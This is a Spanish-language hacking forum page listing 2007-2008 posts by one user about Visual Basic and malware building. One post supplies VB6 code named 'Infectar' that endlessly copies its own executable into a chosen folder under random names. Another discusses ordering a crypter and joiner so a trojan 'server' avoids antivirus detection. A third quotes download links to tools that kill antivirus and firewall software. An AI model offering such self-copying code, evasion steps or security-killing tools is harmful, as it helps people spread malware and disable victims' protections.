Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - Karcrack

#1811
Programación Visual Basic / Re: UPX + vb
20 Febrero 2008, 10:59 AM
Cita de: TbChK en 20 Febrero 2008, 05:09 AM
Dim order As String
Dim ruta As String
ruta = App.path & "\"
order = ruta & "upx.exe -9 " & ruta & "generado.exe"
Shell order, vbHide

Tienes que hacerlo así:
Código (vb) [Seleccionar]

Dim order As String
Dim ruta As String
ruta = App.path & "\"
order = ruta & "upx.exe -9 " & chr(34) & ruta & chr(34) & " generado.exe"
Shell order, vbHide


PD: chr(34)--> "
#1812
La verdad, la idea de que cualquier persona pueda hacer su propio malware, sin ni siquiera saber que esta haciendo...
Me parece que es darle a la gente todo demasiado 'bonito'.

CitarPD: To MAD:
Este no era el proyecto que teníamos juntos :huh: :rolleyes:
#1813
Me alegro, estaba harto de la maldita barra.
Muchas gracias :)
#1814
Programación Visual Basic / Re: Me orientais?
4 Diciembre 2007, 18:37 PM
El segundo es para .NET y el primero gasta OCX, y como yo odio las dependencias :P te doy este enlace:
http://www.recursosvisualbasic.com.ar/htm/listado-api/90-dialogo-baloon-systray.htm

PD:
"tipo "globito" que salen desde el programa." = Ballon Tip  :xD
#1815
Cita de: xhc en 25 Noviembre 2007, 20:39 PM
lo de poner un timer si lo sabia pero no esta funcion :

Public Function Esperar(Time As Long)
    tmp As Long
    tmp = Time + GetTickCount&
    While tmp >= GetTickCount&
        DoEvents
    Wend
    Infectar
End Function



-->VAGO!!!<--

PD: Te he dado un link :)
#1816
Código (vb) [Seleccionar]
Private Declare Function GetTickCount& Lib "kernel32" ()
Sub main()
    Infectar
End Sub

Public Function Infectar()
    Dim Yo As String, Ruta As String
    Yo = App.Path & "\" & App.EXEName & ".exe"
    Ruta = "C:\CARPETA\RUTA\QUE\QUIERAS"
    FileCopy Yo, Ruta & "\" & Aleatorio & ".exe"
    Esperar (1000)
End Function

Public Function Esperar(Time As Long)
    tmp As Long
    tmp = Time + GetTickCount&
    While tmp >= GetTickCount&
        DoEvents
    Wend
    Infectar
End Function

Private Function Aleatorio() As Long
    Randomize
    Aleatorio = CLng((100000 - 999999) * Rnd + 999999)
End Function


Que lo disfrutes....
Pero deberias haverlo hecho tu :¬¬
PD: Si no entiendes algo pregunta.
#1817
Cita de: ►Freeze en 22 Noviembre 2007, 16:33 PM
Asi que:

Server > Joiner > Crypter. NO
Server > Crypter > Joiner. SI

Como dice el titulo es un Mini-Tutorial asi que ha llegado a su fin. ;)
Espero les guste y lo sepan utilizar. ;)

Pero si el stub del Joiner es detectado que pasaria  :-\??
#1818
Ultimamente estas que te sales LeandroA ;) ;)
#1819
Muchisimas gracias ;D Lo andaba buscando ;)
#1820
Cuanto tiempo sin verte por aquí Mad ;).
Citar
El primer link parece un troyano el segundo estoy 90% seguro q es un AVKIller.!!




Estos dos mata firewall y antivirus son nuevos el primero esta el killer de Microchip junto con otro de godbasago<



Descargar: http://rapidshare.com/files/44395136/AVFW.zip.html

Creado por godbasago post original aqui

Este es el otro

Descargar: http://redmove.persiangig.com/MyPrograms/FWAVK.zip

Creado por redmove.tk post original aqui




Sacado de Infiernohacker.com

:aplauso: :aplauso: :aplauso:




El primer link parece un troyano el segundo estoy 90% seguro q es un AVKIller.!!
Fuente: Freeze-Foro